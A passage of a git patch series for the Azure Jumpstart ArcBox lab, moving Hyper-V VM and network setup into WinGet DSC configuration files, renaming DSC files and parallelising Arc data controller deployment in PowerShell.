4GB -BootDevice VHD -VHDPath $Ubuntu01vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMFirmware -VMName $Ubuntu01vmName -EnableSecureBoot On -SecureBootTemplate 'MicrosoftUEFICertificateAuthority' - Set-VMProcessor -VMName $Ubuntu01vmName -Count 1 - Set-VM -Name $Ubuntu01vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Ubuntu02vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Ubuntu02vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Ubuntu02vmName -MemoryStartupBytes 4GB -BootDevice VHD -VHDPath $Ubuntu02vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMFirmware -VMName $Ubuntu02vmName -EnableSecureBoot On -SecureBootTemplate 'MicrosoftUEFICertificateAuthority' - Set-VMProcessor -VMName $Ubuntu02vmName -Count 1 - Set-VM -Name $Ubuntu02vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - Write-Header "Enabling Guest Integration Service" - Get-VM | Get-VMIntegrationService | Where-Object { -not($_.Enabled) } | Enable-VMIntegrationService -Verbose - - # Start all the VMs - Write-Header "Starting VMs"\ - Start-VM -Name $Win2k19vmName - Start-VM -Name $Win2k22vmName - Start-VM -Name $Ubuntu01vmName - Start-VM -Name $Ubuntu02vmName + winget configure --file C:\ArcBox\DSC\itpro_virtual_machines.dsc.yml --accept-configuration-agreements --disable-interactivity Write-Header "Creating VM Credentials" # Hard-coded username and password for the nested VMs diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml index a6a2d1014e..afcf95cfcb 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -9,5 +9,26 @@ properties: settings: id: Hashicorp.Terraform source: winget - + - resource: PSDscResources/WindowsFeature + id: Hyper-V + directives: + description: Install Hyper-V + settings: + Name: Hyper-V + Ensure: Present + - resource: HyperVDsc/VMHost + id: VMHost + directives: + description: Configure VM Host settings + settings: + IsSingleInstance: Yes + EnableEnhancedSessionMode: True + - resource: HyperVDsc/VMSwitch + id: VMSwitch + directives: + description: Configure VM Switch + settings: + Name: InternalNATSwitch + Ensure: Present + Type: Internal configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml new file mode 100644 index 0000000000..ccd5d060f7 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml @@ -0,0 +1,69 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: HyperVDsc/VMHyperV + id: ArcBox-Win2K19 + directives: + description: Configure VM ArcBox-Win2K19 + settings: + Name: ArcBox-Win2K19 + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-Win2K19.vhdx + ProcessorCount: 2 + StartupMemory: '12GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-Win2K19 + EnableGuestService: true + SecureBoot: true + - resource: HyperVDsc/VMHyperV + id: ArcBox-Win2K22 + directives: + description: Configure VM ArcBox-Win2K22 + settings: + Name: ArcBox-Win2K22 + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-Win2K22.vhdx + ProcessorCount: 2 + StartupMemory: '12GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-Win2K22 + EnableGuestService: true + SecureBoot: true + - resource: HyperVDsc/VMHyperV + id: ArcBox-Ubuntu-01 + directives: + description: Configure VM ArcBox-Ubuntu-01 + settings: + Name: ArcBox-Ubuntu-01 + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-01.vhdx + ProcessorCount: 2 + StartupMemory: '4GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-01 + EnableGuestService: true + SecureBoot: false + - resource: HyperVDsc/VMHyperV + id: ArcBox-Ubuntu-02 + directives: + description: Configure VM ArcBox-Ubuntu-02 + settings: + Name: ArcBox-Ubuntu-02 + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-02.vhdx + ProcessorCount: 2 + StartupMemory: '4GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-02 + EnableGuestService: true + SecureBoot: false + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml new file mode 100644 index 0000000000..10f928be4f --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml @@ -0,0 +1,20 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + resources: + - resource: HyperVDsc/VMHyperV + id: ArcBox-SQL + directives: + description: Configure VM ArcBox-SQL + settings: + Name: ArcBox-SQL + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-SQL.vhdx + ProcessorCount: 2 + StartupMemory: '12GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-SQL + EnableGuestService: true + SecureBoot: true + configurationVersion: 0.2.0 \ No newline at end of file From 51b04d1f5d69bd7645cb665031fae9be50f3375c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 21:44:37 +0000 Subject: [PATCH 040/506] Added missing $spncredential Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 804a84e225..1f5d04b395 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -143,6 +143,8 @@ if ($Env:flavor -ne "DevOps") { az login --service-principal --username $spnClientId --password $spnClientSecret --tenant $spnTenantId Write-Header "Az PowerShell Login" + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId # Register Azure providers From 36667bc30222ca33268142774d5fc8c9572e7226 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 30 Dec 2023 07:53:10 +0000 Subject: [PATCH 041/506] Moved IP address configuration for vNIC to DSC Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 9 ++------- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 1 + .../artifacts/dsc/common.dsc.yml | 17 +++++++++++++++++ 3 files changed, 20 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 1f5d04b395..6bc3733594 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -102,11 +102,6 @@ if ($Env:flavor -ne "DevOps") { New-NetNat -Name $natName -InternalIPInterfaceAddressPrefix 10.10.1.0/24 } - # Create an internal network (gateway first) - $adapter = Get-NetAdapter | Where-Object { $_.Name -like "*" + $switchName + "*" } - Write-Host "Creating Gateway" - New-NetIPAddress -IPAddress 10.10.1.1 -PrefixLength 24 -InterfaceIndex $adapter.ifIndex - Write-Host "Creating VM Credentials" # Hard-coded username and password for the nested VMs $nestedWindowsUsername = "Administrator" @@ -199,7 +194,7 @@ if ($Env:flavor -ne "DevOps") { Write-Header "Create Hyper-V VMs" # Create the nested SQL VMs - winget configure --file C:\ArcBox\DSC\sql_virtual_machines.dsc.yml --accept-configuration-agreements --disable-interactivity + winget configure --file C:\ArcBox\DSC\virtual_machines_sql.dsc.yml --accept-configuration-agreements --disable-interactivity # We always want the VMs to start with the host and shut down cleanly with the host Write-Host "Set VM Auto Start/Stop" @@ -359,7 +354,7 @@ if ($Env:flavor -ne "DevOps") { # Create the nested VMs if not already created Write-Header "Create Hyper-V VMs" - winget configure --file C:\ArcBox\DSC\itpro_virtual_machines.dsc.yml --accept-configuration-agreements --disable-interactivity + winget configure --file C:\ArcBox\DSC\virtual_machines_itpro.dsc.yml --accept-configuration-agreements --disable-interactivity Write-Header "Creating VM Credentials" # Hard-coded username and password for the nested VMs diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 549120bc73..7406f3c4ce 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -11,6 +11,7 @@ Install-PSResource -Name Microsoft.WinGet.DSC -Scope AllUsers -Quiet -AcceptLice # Install DSC resources required for ArcBox Install-PSResource -Name DSCR_Font -Scope AllUsers -Quiet -AcceptLicense -TrustRepository Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease +Install-PSResource -Name NetworkingDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository # Install WinGet CLI $null = Repair-WinGetPackageManager -AllUsers diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml index 3e21650827..8c2cb2ddd7 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -100,4 +100,21 @@ properties: settings: IsSingleInstance: Yes EnableEnhancedSessionMode: True + - resource: HyperVDsc/VMSwitch + id: VMSwitch + directives: + description: Configure VM Switch + settings: + Name: InternalNATSwitch + Ensure: Present + Type: Internal + - resource: NetworkingDsc/IPAddress + id: IPAddress.VMSwitch + directives: + description: Configure VM Switch vNIC IP Address + settings: + InterfaceAlias: 'vEthernet (InternalNATSwitch)' + IPAddress: '10.10.1.1/24' + AddressFamily: IPv4 + KeepExistingAddress: false configurationVersion: 0.2.0 \ No newline at end of file From 3a7372a24e4a536f6133430e1fd25adc11afe9e7 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 30 Dec 2023 07:53:40 +0000 Subject: [PATCH 042/506] Updated DSC configuration file references Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 8 ++++--- .../artifacts/dsc/itpro.dsc.yml | 22 ------------------- ...dsc.yml => virtual_machines_itpro.dsc.yml} | 8 +++---- ...s.dsc.yml => virtual_machines_sql.dsc.yml} | 2 +- 4 files changed, 10 insertions(+), 30 deletions(-) rename azure_jumpstart_arcbox/artifacts/dsc/{itpro_virtual_machines.dsc.yml => virtual_machines_itpro.dsc.yml} (89%) rename azure_jumpstart_arcbox/artifacts/dsc/{sql_virtual_machines.dsc.yml => virtual_machines_sql.dsc.yml} (91%) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c4b26a4e3e..2c44b867be 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -166,9 +166,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbook.parameters. Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploymentStatus.ps1") -OutFile $Env:ArcBoxDir\DeploymentStatus.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/LogInstructions.txt") -OutFile $Env:ArcBoxLogsDir\LogInstructions.txt Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $Env:ArcBoxDscDir\common.dsc.yml -Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml -Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml -Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/virtual_machines_sql.dsc.yml") -OutFile $Env:ArcBoxDscDir\virtual_machines_sql.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/arcbox-bginfo.bgi") -OutFile $Env:ArcBoxTestsDir\arcbox-bginfo.bgi Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 @@ -205,6 +203,8 @@ if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLUser.ps1") -OutFile $Env:ArcBoxDir\installArcAgentSQLUser.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/itpro.tests.ps1") -OutFile $Env:ArcBoxTestsDir\itpro.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/virtual_machines_itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\virtual_machines_itpro.dsc.yml } # DevOps @@ -221,6 +221,7 @@ if ($flavor -eq "DevOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/arc.ico") -OutFile $Env:ArcBoxIconDir\arc.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/bookstore.ico") -OutFile $Env:ArcBoxIconDir\bookstore.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/devops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\devops.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml } # DataOps @@ -247,6 +248,7 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLSP.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgentSQLSP.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/dataops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\dataops.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml } # Full diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml index afcf95cfcb..33d7c7853b 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -9,26 +9,4 @@ properties: settings: id: Hashicorp.Terraform source: winget - - resource: PSDscResources/WindowsFeature - id: Hyper-V - directives: - description: Install Hyper-V - settings: - Name: Hyper-V - Ensure: Present - - resource: HyperVDsc/VMHost - id: VMHost - directives: - description: Configure VM Host settings - settings: - IsSingleInstance: Yes - EnableEnhancedSessionMode: True - - resource: HyperVDsc/VMSwitch - id: VMSwitch - directives: - description: Configure VM Switch - settings: - Name: InternalNATSwitch - Ensure: Present - Type: Internal configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml similarity index 89% rename from azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml rename to azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml index ccd5d060f7..cc44512408 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml @@ -15,7 +15,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-Win2K19 + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: true - resource: HyperVDsc/VMHyperV @@ -31,7 +31,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-Win2K22 + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: true - resource: HyperVDsc/VMHyperV @@ -47,7 +47,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-01 + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: false - resource: HyperVDsc/VMHyperV @@ -63,7 +63,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-02 + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: false configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml similarity index 91% rename from azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml rename to azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml index 10f928be4f..f261cf00f7 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml @@ -14,7 +14,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-SQL + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: true configurationVersion: 0.2.0 \ No newline at end of file From 37a4ad9484a91ea064529b4dfb406a0a5a496319 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 30 Dec 2023 09:40:16 +0000 Subject: [PATCH 043/506] Move AutomaticStartAction and AutomaticStopAction to DSC Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ---- 1 file changed, 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 6bc3733594..e8808b63b1 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -196,10 +196,6 @@ if ($Env:flavor -ne "DevOps") { # Create the nested SQL VMs winget configure --file C:\ArcBox\DSC\virtual_machines_sql.dsc.yml --accept-configuration-agreements --disable-interactivity - # We always want the VMs to start with the host and shut down cleanly with the host - Write-Host "Set VM Auto Start/Stop" - Set-VM -Name $SQLvmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - # Restarting Windows VM Network Adapters Write-Host "Restarting Network Adapters" Start-Sleep -Seconds 20 From 07b810b957a7b30f862e73fde2528a964a885729 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 09:29:46 +0200 Subject: [PATCH 044/506] Implement foreach-parallel in dataOps --- .../artifacts/DataOpsLogonScript.ps1 | 124 +++--- .../artifacts/DeploySQLMIADAuth.ps1 | 382 +++++++++--------- 2 files changed, 241 insertions(+), 265 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 002ac6aa8f..fe9268dbba 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -145,7 +145,8 @@ kubectx capi="arcbox-capi" Start-Sleep -Seconds 10 Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" -foreach ($cluster in $clusters) { +$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { + $cluster = $_ if ($cluster.context -ne 'capi') { Write-Host "Checking K8s Nodes" kubectl get nodes --kubeconfig $cluster.kubeConfig @@ -163,8 +164,6 @@ foreach ($cluster in $clusters) { Write-Host "Enabling Container Insights cluster extension" az k8s-extension create --name "azuremonitor-containers" --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId Write-Host "`n" - #Write-Host "Enabling Defender for Containers on AKS clusters" - #az aks update --enable-defender --resource-group $Env:resourceGroup --name $cluster.clusterName } } @@ -178,13 +177,11 @@ $kubectlMonShellAKS = Start-Process -PassThru PowerShell { $host.ui.RawUI.Window $kubectlMonShellAKSDr = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'AKS-DR Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" ; Start-Sleep -Seconds 5; Clear-Host } } Write-Header "Deploying Azure Arc Data Controller" -foreach ($cluster in $clusters) { - Start-Job -Name arcbox -ScriptBlock { - $cluster = $using:cluster - $context = $cluster.context - Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" - - az k8s-extension create --name arc-data-services ` +$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { + $cluster = $_ + $context = $cluster.context + Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" + az k8s-extension create --name arc-data-services ` --extension-type microsoft.arcdataservices ` --cluster-type connectedClusters ` --cluster-name $cluster.clusterName ` @@ -192,71 +189,60 @@ foreach ($cluster in $clusters) { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.25.0 ` + --version 1.18.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper - Write-Host "`n" - - Do { - Write-Host "Waiting for bootstrapper pod, hold tight..." - Start-Sleep -Seconds 20 - $podStatus = $(if (kubectl get pods -n arc --kubeconfig $cluster.kubeConfig | Select-String "bootstrapper" | Select-String "Running" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($podStatus -eq "Nope") - Write-Host "Bootstrapper pod is ready!" - - $connectedClusterId = az connectedk8s show --name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv - $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv - Start-Sleep -Seconds 10 - az customlocation create --name $cluster.customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig --only-show-errors + Write-Host "`n" - Start-Sleep -Seconds 20 + Do { + Write-Host "Waiting for bootstrapper pod, hold tight..." + Start-Sleep -Seconds 20 + $podStatus = $(if (kubectl get pods -n arc --kubeconfig $cluster.kubeConfig | Select-String "bootstrapper" | Select-String "Running" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($podStatus -eq "Nope") + Write-Host "Bootstrapper pod is ready!" - # Deploying the Azure Arc Data Controller - - $context = $cluster.context - $customLocationId = $(az customlocation show --name $cluster.customLocation --resource-group $Env:resourceGroup --query id -o tsv) - $workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) - $workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) - Copy-Item "$Env:ArcBoxDir\dataController.parameters.json" -Destination "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - - $dataControllerParams = "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - - (Get-Content -Path $dataControllerParams) -replace 'dataControllerName-stage', $cluster.dataController | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'azdataUsername-stage', $Env:AZDATA_USERNAME | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'azdataPassword-stage', $Env:AZDATA_PASSWORD | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnClientId-stage', $Env:spnClientId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnTenantId-stage', $Env:spnTenantId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnClientSecret-stage', $Env:spnClientSecret | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage', $workspaceId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsPrimaryKey-stage', $workspaceKey | Set-Content -Path $dataControllerParams - - az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - Write-Host "`n" + $connectedClusterId = az connectedk8s show --name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv + $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv + Start-Sleep -Seconds 10 + az customlocation create --name $cluster.customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig --only-show-errors - Do { - Write-Host "Waiting for data controller. Hold tight, this might take a few minutes..." - Start-Sleep -Seconds 45 - $dcStatus = $(if (kubectl get datacontroller -n arc --kubeconfig $cluster.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc data controller is ready!" - Write-Host "`n" - Remove-Item "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" -Force - - Stop-Transcript - } - -} - -while ($(Get-Job -Name arcbox).State -eq 'Running') { - Receive-Job -Name arcbox -WarningAction SilentlyContinue - Start-Sleep -Seconds 5 -} + Start-Sleep -Seconds 20 -Get-Job -name arcbox | Remove-Job -write-host "Successfully deployed Azure Arc Data Controllers" + # Deploying the Azure Arc Data Controller + + $context = $cluster.context + $customLocationId = $(az customlocation show --name $cluster.customLocation --resource-group $Env:resourceGroup --query id -o tsv) + $workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) + $workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) + Copy-Item "$Env:ArcBoxDir\dataController.parameters.json" -Destination "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + + $dataControllerParams = "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + + (Get-Content -Path $dataControllerParams) -replace 'dataControllerName-stage', $cluster.dataController | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'azdataUsername-stage', $Env:AZDATA_USERNAME | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'azdataPassword-stage', $Env:AZDATA_PASSWORD | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'spnClientId-stage', $Env:spnClientId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'spnTenantId-stage', $Env:spnTenantId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'spnClientSecret-stage', $Env:spnClientSecret | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage', $workspaceId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 